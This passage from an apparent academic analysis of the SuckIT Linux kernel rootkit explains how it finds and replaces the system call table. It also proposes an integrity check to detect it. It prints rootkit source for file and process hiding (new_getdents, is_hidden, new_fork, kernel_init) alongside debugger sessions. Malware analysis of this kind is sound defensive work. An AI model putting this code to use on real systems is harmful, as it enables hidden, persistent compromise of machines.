 } 
 old80 = idt80.off1 | (idt80.off2 
<< 16); 
 sct = get_sct(fd, old80, sctp); 
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This code works by querying the processor for the address 
of the Interrupt Descriptor Table.  The SuckIT program 
uses the sidt command to accomplish this.    The sidt 
command is part of the Instruction Set for the INTEL 
Pentium (x86) Architecture. The purpose of this command 
is to store the Interrupt Descriptor Table Register (idtr) in 
the destination operand [16].   A different command 
would be required if Linux were implemented on an 
architecture that differed from the INTEL Pentium (x86) 
architecture.   SuckIT was written to run on this 
architecture.   This rootkit first makes use of by the 
asm(“sidt %0 : “=m” (idtr)); command.   The asm 
command signifies to the compiler that assembly language 
instructions are being used.   This command returns the 
address of the Interrupt Descriptor Table within kernel 
memory.  This address is then printed out by the 
printf("RK_Init: idt=0x%08x, ", (uint) idtr.base); 
command.   The next series of commands is where the 
program retrieves the actual address of the System Call 
Interrupt (system_call() function) from the Interrupt 
Descriptor Table. To invoke this function within Linux, 
the int $0x80 assembly instruction must be invoked.  The 
install.c program calls a function rkm that reads kernel 
memory with the following line of code:               
rkm(fd,&idt80,sizeof(idt80),idtr.base+0x80*sizeof(idt80)) 

$ gdb -q /boot/vmlinux 

(gdb) disass system_call 
Dump of assembler code for function system_call: 
0xc01070fc <system_call>: push   %eax 
0xc01070fd <system_call+1>: cld     
0xc01070fe <system_call+2>: push   %es 
0xc01070ff <system_call+3>: push   %ds 
0xc0107100 <system_call+4>: push   %eax 
0xc0107101 <system_call+5>: push   %ebp 
0xc0107102 <system_call+6>: push   %edi 
0xc0107103 <system_call+7>: push   %esi 
0xc0107104 <system_call+8>: push   %edx 
0xc0107105 <system_call+9>: push   %ecx 
0xc0107106 <system_call+10>: push   %ebx 
0xc0107107 <system_call+11>: mov    $0x18,%edx 
0xc010710c <system_call+16>: mov    %edx,%ds 
0xc010710e <system_call+18>: mov    %edx,%es 
0xc0107110 <system_call+20>: mov    $0xffffe000,%ebx 
0xc0107115 <system_call+25>: and    %esp,%ebx 
0xc0107117 <system_call+27>: testb  $0x2,0x18(%ebx) 
0xc010711b <system_call+31>: jne    0xc010717c <tracesys> 
0xc010711d <system_call+33>: cmp    $0x100,%eax 
0xc0107122 <system_call+38>: jae    0xc01071a9 <badsys> 
0xc0107128 <system_call+44>: call   *0xc02d1890(,%eax,4) 
0xc010712f <system_call+51>: mov    %eax,0x18(%esp,1) 
0xc0107133 <system_call+55>: nop     
End of assembler dump. 

(gdb) print &sys_call_table 
$1 = (<data variable, no debug info> *) 0xc02d1890 
(gdb) x/xw (system_call+44) 
0xc0107128 <system_call+44>: 0x908514ff 

This functions returns a pointer to the Interrupt 
Descriptor of the System Call Function (int $0x80).  The 
program is now able to compute the entry point of the 
System Call function within kernel memory.  This is 
accomplished by the following code:   old80 = idt80.off1 | 
(idt80.off2 << 16);.    However, this entry point does not 
provide the actual memory location that needs to be 
overwritten by the SuckIT rootkit in order to redirect any 
system calls to a malicious system call table that is created 
by the rootkit.    We can examine the System Call 
Function assembly code within the kernel image 
(vmlinux) loaded at boot up by utilizing the resident code 
debugger (gdb -  the GNU debugger) that exists within 
Red Hat Linux [14]. 

A specific  system call function is invoked by the 
following:  call *sys_call_table(,%eax,4) the %eax 
register contains the number of the specific system call 
that is being called by the user program.   Each entry in 
the system call table is four bytes long.  To find the 
address of the system call that is to be invoked it is 
necessary to multiply the system call number (value stored 
in %eax register) by 4 (address size for 32 bit address) 
and add the result to the initial address of the system call 
table [15].  By examining this dump code, we see that the  
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assembly code at location 0xc0107128 
(<system_call+44>: call *0xc02d1890(,%eax,4)) 
corresponds to this command since we have also 
demonstrated that the value stored at the system call table 
= 0xc02d1890.    We now wish to examine the memory at 
location <system_call+44>.  We utilize the x/Format  
Address command  within gdb to do this.  The exact 
format used is: (gdb) x/xw (system_call+44) where xw – 
hex format word size.   The output of this command is 
0x908514ff which is opcode in little endian format.  The 
opcode 0xff 0x14 0x85  0x<address of the System Call 
Table>  matches to the pattern ‘call  *some address)( 
,%eax, 4)’ .  This opcode pattern gives the SuckIt rootkit a 
specific pattern to search for within /dev/kmem.  The 
address that follows this series of opcode is then changed 
by SuckIT to the address of the new System Call Table 
that the rootkit creates.   Current LKM detectors do not 
check the consistency  of the int $0x80 function [14].  We 
find this to be significant because we propose that like 
SuckIT, one can query the int $0x80 function to retrieve 
the current pointer to the System Call Table that is in use 
within the kernel and then check the integrity of this 
System Call Table in order to determine if this system has 
been infected with a kernel level rootkit of either type.   

We have analyzed of the opcode series /xff /x14/x85/  
to be sure that this will consistently be the opcode that 
SuckIT will need to search for in order to find the correct 
spot to modify the pointer to the System Call Table within 
/dev/kmem.   According to the description of the 
Instruction Set of the INTEL Embedded Pentium ® 
Processor Family, the Opcode for the Call Instruction that 
we have seen from the disassembly of the system_call 
function is as follows: 

Opcode Instruction Description
FF/2 CALL r/m32 Call near, absolute indirect,   
 address given in r/m32 

The first opcode: xff, symbolizes the CALL instruction.  
The second opcode: x14, is in the ModR/M byte of the 
instruction and symbolizes that a SIB byte will be 
following this byte.  The third opcode; x85, is in the SIB 
byte and symbolizes the 32 addressing format that is to be 
used, in this case [EAX*4].      This series of opcode 
should not change between kernel versions  as long as the 
INTEL Embedded Pentium ® Processor  is used in the 
hardware platform[17].  

A problem with using gdb to view this data is that the 
vmlinux kernel image that is used as input may not be an 
actual representation of what is currently loaded in the 
kernel.    A kernel level rootkit may modify the kernel 
without changing any of the system files that are resident 

on the computer’s file system.  You will still be able to 
determine that the system call table has been tampered 
with by comparing the address of the system call table that 
is returned from querying the Interrupt Descriptor Table 
using the sidt assembly language command and comparing 
this value against the value that is retrieved from the 
vmlinux file and/or the address of the System Call Table 
(sys_call_table) that is stored in /boot/System.map if these 
files are available.  It is possible to view the actual data 
that is loaded into the kernel by using a program such as 
kdb, which is a kernel level debugger.  The kdb program 
may not be  installed by default on a particular installation 
of Linux.  If this program is available it is very easy to 
examine the kernel memory to view modifications.   The 
following is an example of using kdb to display the 
instructions stored at a location in kernel memory: 

kdb> id 0xc0107128 
0xc0107128  system_call+0x2c:
             call *0xc02d1890( ,%eax,4) 

The following is an example of using kdb to display the 
contents of kernel memory stored at a particular location: 

kdb> md 0xc0107128 
0xc0107128  908514ff 89c02d18 90182444
            147b83f0 

The other significant feature of the SuckIT kernel level 
rootkit is its ability to install itself as resident into the 
kernel memory of the operating system.    SuckIT makes 
use of the kmalloc() function to accomplish this 
manipulation of the kernel.   The kmalloc() function is 
resident within the /linux/mm/slab.c file [18].   This file 
describes kmalloc() in the following manner: “The 
kmalloc function is the normal method of allocating 
memory from within the kernel.”   According to the 
comments provided with the install.c  program of version 
1.3b of SuckIT, an unused system call is overwritten with 
the address of the kmalloc() function.  The SuckIT rootkit 
must be able to determine the address of the kmalloc() 
function.  The method that SuckIT uses to retrieve this 
address does not work in all cases.   Once this address is 
retrieved it is then possible to access the kmalloc() 
function from within userspace.    

The developers of SuckIT have chosen the 
sys_olduname system call to use as the pointer to the 
kmalloc() function call.  This system call is the 59th entry 
in the System Call table of both the Linux 2.2 and 2.4 
kernel according to the /src/linux/arch/i386/kernel/entry.S 
file for each respective kernel.  However, any unused 
system call that is available could have been chosen.    
The rootkit writes the address of the kmalloc() function 
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into the sys_olduname position and renames this as the 
OURSYS system call wrapper.    The OURSYS system 
call is then redefined as KMALLOC.     The KMALLOC 
system call wrapper is then called within the install.c 
program file to allocate the necessary kernel memory in 
order to have the necessary space to write the new 
instance of the system call table as well as the necessary 
space for the new system calls that are to be created.  
SuckIT calculates the amount of necessary space to be the 
size of the new kernel code that is created (kernel.s) 
(calculated from the values kernel_end – kernel_start 
which are labels that exist at the start and end of the 
kernel.s file) + space for the new system call table and 
process ID table.  If there is insufficient space available 
within the kernel, the program will terminate execution.    
If sufficient memory is available, then a pointer will be 
returned to this newly created block of memory within the 
kernel. 

A write kernel memory function (wkm) is then called to 
copy over the code that was created in the kernel.s file 
residing in userspace to this newly allocated kernel 
memory space at the following address:  START 
ADDRESS OF NEWLY ALLOCATED KERNEL 
MEMORY+SPACE  ALLOCATED FOR NEW 
SYSTEM CALL TABLE.  

This will allow for enough space at the start of this 
newly allocated kernel memory for the new system call 
table that is to be created by SuckIT to appear before any 
of the new system call code. 

Figure 9 - SuckIT Redirection of Unused System Call 

A second write kernel memory function  (wkml) is 

called to copy over the KINIT system call macro from the 
code that was just copied into the newly allocated kernel 
space into the System Call Table at position number 59, 
which is the OURSYS system call that SuckIT created.  
This is the same system call location that SuckIT used for 
the KMALLOC system call.  The SuckIT rootkit 
overloads the OURSYS system call with the system call 
names for both KMALLOC and KINIT. 

The KINIT system call wrapper is then executed by the 
install.c program.  This system call does the following: 
1. Creates the new system call table, creates modified 

system calls, and inserts pointers to the modified 
system calls 

2. Restores the original system call table 
3. Redirects all subsequent system calls to the new 

system call table 
At this point trust has been broken with the kernel.  We 
can use this to create a ∇  to characterize the SuckIT 
rootkit. Figure 9 below demonstrates how SuckIT 
manipulates the System Call Table (sct) to  replace the 
address of sys_olduname() system call with the address of 
the kmalloc() function call in the first case and then with 
the kernel_init() function in the second case.  Macro 
functions are used to call both of these functions from 
within the install.c program.  The wrapper KMALLOC is 
used to call kmalloc() and the wrapper KINIT is used to 
call kernel_init.  Each wrapper has a corresponding list of 
parameters that are to be passed to the respective function. 

B. Analysis of the SuckIT Source Code 
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The kernel.c program is the only portion of the SuckIT 
rootkit that is resident in kernel memory.  This code 
contains the variables that must be relocated or made 
global for the rootkit to execute.  It also contains the 
hacked system calls that SuckIT will use to replace the 
valid system calls in the system call table as well as any 
necessary functions required by the new system calls. 

This program contains the source code for the 25 
system calls that the SuckIT rootkit replaces within the 
kernel memory.   The kernel.c program also contains a 
routine to replace an existing system call pointer with the 
newly created system call pointer.  The following is the 
code to accomplish this: 

#define hook(name) \ 
 newsct[__NR_##name] =  
           ((ulong) new_##name - \ 
         (ulong) 
kernel_start) + \ 
         (ulong) mem + 
SCT_TABSIZE;

This code calculates the proper address of the new system 
call code that has been written into kernel memory.  This 
routine is used by the KINIT system call wrapper  

int new_getdents(int fd, struct de *dirp, int count) 
{

int oldlen, len; 
 uchar  *cpy, *dest; 
 uchar  *p = (uchar *) dirp; 
 pid_struc *pi; 

 if (count <= 0) return -EINVAL; 
 len = oldlen = SYS(getdents, fd, dirp, count); 
 if (oldlen <= 0) return oldlen; 
 pi = curr(); 

 if ((pi) && (IS_HIDDEN(pi))) return oldlen; 
 dest = cpy = ualloc(oldlen); 
 if (!cpy) return oldlen; 
#define dp ((struct de *) p) 
 while (len > 0) { 
  if (!is_hidden(dp->d_name, dp->d_ino)) { 
   memcpy(dest, p, dp->d_reclen); 
   dest += dp->d_reclen; 
  } 
  len -= dp->d_reclen; 
  p += dp->d_reclen; 
 } 
#undef dp 
 memcpy(dirp, cpy, dest - cpy); 
 ufree(cpy, oldlen); 
 len = new_getdents(fd, (void *) (((uchar *) dirp) +    

(dest - cpy)),(int) (count - (dest - cpy))); 
 if (len <= 0) len = 0; 
 return (dest - cpy) + len; 
}

(kernel_init() function) in order to place pointers to the 
hacked system call in the new system call table that is 
created by SuckIT. 

The kernel.c program also contains all of the necessary 
functions that are required by the new system calls.    
These routines are necessary so that the new system calls 
can hide the specified files and processes from a normal 
user as well as the system administrator.  These functions 
are not available within the normal kernel code. 

We will first examine the way that the rootkit is able to 
hide specific files and inodes.      The following code is 
the getdents (get directory entries) system call that will be 
utilized by the SuckIT Rootkit to display the contents of a 
directory.    This code has some similarities to the 
knark_getdents() replacement system call that we have 
previously analyized in an earlier paper on the KNARK 
kernel level rootkit [19]. 

Like the KNARK kernel level rootkit, SuckIT continues 
to use the original system call (getdents in this case) 
within its new code for the replacement system call.    
This is indicated by the command:  
len=oldlen=SYS(getdents,fd,dirp,count);
The value that is returned by this system call is the 
number of bytes that have been read.  This value is 
assigned to the variable len and oldlen.  If we are at the  
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end of the directory then a value of 0 is returned and a 
value of -1 is returned upon an error.   The process id 
(PID) of the currently running process is retrieved using 
the following code:

/* returns pid struc of current pid */ 
pid_struc *curr() 
{
 int p; 
 p = SYS(getpid, 0); 
 return add_pid(p); 
}

The routine then checks to see if this PID is designated 
as a hidden PID.  If so then any objects that are associated 
with this PID are also to be hidden and the routine returns 
the value  oldlen and goes no further.  The following line 
of code accomplishes this:  
if ((pi)&&(IS_HIDDEN(pi)))return oldlen;. 

The IS_HIDDEN(pi) checks if this PID is designated as a 
hidden PID. 

If we are not currently associated with a hidden PID 
then the routine allocates some space in user memory 
using the following:  dest = cpy = 
ualloc(oldlen);.            If the routine is unable to 
allocate this user memory space then the routine returns 
the value oldlen and terminates.   

If execution continues within the new_getdents() 
routine then a structure is set up in order to walk through 
the values that have been returned from the original 
getdents() system call and identify those objects names 
that have been designated to be hidden. 

Upon retrieving the name of an object within the 
directory in question (dp->d_name), the new_getdents() 
system call then calls the function is_hidden() to check 
and see if this object (file or directory) is designated to be 
hidden from a directory listing.       This routine checks to 
see is the name that has been retrieved has the HIDESTR 
(hide string) appended to the end of the name.  The value 
for HIDESTR is established when SuckIT is compiled on 
the target system and has a default value of “sk12”.   If 
this name is not designated to be hidden than a value of 1 
is returned to the calling routine, otherwise a value of 0 is 
returned.  The new_getdents() system call will only output 
those object names that are not designated to be hidden. 

The following is a listing of the code from the 
is_hidden() routine: 

/* check whether given file & inode 
should be hidden */ 
int is_hidden(char *name, ulong ino) 
{
 uchar *h = hidestr(); 

 if (*filehiding()) { 
  register int l = 
strlen(name);
  if ((l >= sizeof(HIDESTR)-
1) && 
      (!strcmp(h, &name[l-  
             (sizeof(HIDESTR)-1)]))) 
       return 1; 
 } 
 if (*pidhiding()) { 
  ulong c = 0; 
  pid_struc *p; 
  char *b = name; 

  while (*b) { 
   if ((*b == '/') && 
(*(b + 1) != 0))
                 name = b + 1; 
   b++; 
  } 

         while (*name) { 
                 if ((*name < '0') 
||
                      (*name > '9')) 
                         break; 
                 c = c * 10 + 
(*name++) -
                     '0'; 
  } 
         if (((ino - 2) / 65536) 
!= c)
            return 0; 
         p = find_pid(c); 
  if ((p) && (IS_HIDDEN(p))) 
          return 1; 
 } 
 return 0; 
}

We will now examine the sys_fork() system call that 
SuckIT uses to subvert the target computer.  This analysis 
is similar to the analysis we conducted of this same system 
call in an earlier paper on the KNARK kernel level rootkit 
[19].  SuckIT refers to this system call as new_fork.  The 
sys_fork() system call is used to create a child of a parent 
process.  The new_fork() system call that is used to fork a 
process first retrieves the pid of the parent process.  It then 
checks to see if the parent process is one that has been 
designated to be hidden.  It accomplishes this by using the 
same IS_HIDDEN function that is defined within the 
kernel.c program of SuckIT.  If the parent PID is a hidden 
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process, then the child PID is also designated to be 
hidden.  As with the new_getdents system call, the 
new_fork system call also makes a call to the original fork 
system call in order to obtain a new PID.  This is also the 
case for the KNARK knark_fork system call.  A 
difference between the knark_fork system call and the 
new_fork system call is that unlike knark_fork, the PID’s 
designated to be hidden are not placed in a separate linked 
list.  The SET_HIDDEN() function sets a value within the 
PID structure to a specific value designating this PID as a 
hidden PID.  The following is a display of the new_fork() 
source code: 

int new_fork(struct pt_regs regs) 
{
 pid_struc *parent; 
 int  pid; 

 parent = curr(); 
 pid = SYS(fork, regs); 
 if (pid > 0) { 
 if ((parent) && (IS_HIDDEN(parent))) 
  { 
   pid_struc *n; 
   n = add_pid(pid); 
   if (n) { 
     SET_HIDDEN(n); 
      current()->flags &= ~PF_MASK; 
   } 
  } 
 } 
 return pid; 
}

As previously mentioned, the kernel_init() routine 
associated with the KINIT wrapper  is the routine that sets 
up the new system calls as well as the new system call 
table, restores the original system call table, and redirects 
all system calls to the new system call table.   

/* initialization code (see install.c 
for details) */ 
void kernel_init(uchar *mem, ulong 
*sct,
             ulong *sctp[2], ulong 
oldsys)
{
 ulong  ksize = (ulong) kernel_end 
-
                (ulong) kernel_start; 
 ulong  *newsct = (void *) mem; 

 sct[OURSYS] = oldsys; 
 memset(mem + SCT_TABSIZE + ksize, 
0,
             PID_TABSIZE); 
 *oldsct() = (ulong) sct; 

 *pidtab() = (void *) (mem + 
SCT_TABSIZE
                            + ksize); 
 memcpy(mem, sct, SCT_TABSIZE); 

 hook(OURCALL); 
 hook(clone); 
 hook(fork); 
 hook(vfork); 
 hook(getdents); 
 hook(getdents64); 

 hook(kill); 
 hook(open); 
 hook(close); 
#ifdef SNIFFER 
 hook(read); 
 hook(write); 
#endif
#ifdef SNIFFER
 hook(execve); 
#endif
#ifdef INITSTUFF 
 hook(utime); 
 hook(oldstat); 
 hook(oldlstat); 
 hook(oldfstat); 
 hook(stat); 
 hook(lstat); 
 hook(fstat); 
 hook(stat64); 
 hook(lstat64); 
 hook(fstat64); 
 hook(creat); 
 hook(unlink);  
 hook(readlink); 
#endif
 memcpy(oldsctp(), sctp, 2 * 
sizeof(ulong));

 *sctp[0] = (ulong) newsct; /* 
normal
                                call */ 
 *sctp[1] = (ulong) newsct; /* 
ptraced
                                call */ 
}

This function calculates the amount of space (ksize) 
required to store the new system call code into memory in 
similar manner to the way this space is calculated in the 
install.c program.   The function then sets up a pointer 
(newsct) to the starting address of the newly allocated 
kernel memory.   This pointer will become the address of 
the new system call table that is created by SuckIT.    The 
original system call table is then restored back to its 
original state with the system call #59 pointer being reset 
back to the address of the original sys_uname address by 
the following line of code: sct[OURSYS] = oldsys;.  The 
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command, memset() initializes the PID table.    The 
command *oldsct() = (ulong) sct; establishes a pointer to 
the original system call table.   The *pidtab() = (void *) 
(mem + SCT_TABSIZE + ksize); command establishes a 
pointer to the PID table.   The command memcpy(mem, 
sct, SCT_TABSIZE); copies the original system call table 
to the start of the newly allocated kernel space.    The next 
25 lines of code set up the new SuckIT replacement 
system calls and places pointers to these system calls in  

the new system call table.    The command memcpy 
(oldsctp(), sctp, 2 * sizeof(ulong)); copies the addresses of 
the original system call tables for both normal and ptraced 
system calls  to a location where this address can be 
retrieved () at a future time if necessary.  The last  two 
lines of code set the system call table pointers for both 
normal and ptraced system calls to the new system call 
table located in the newly allocated kernel memory.  
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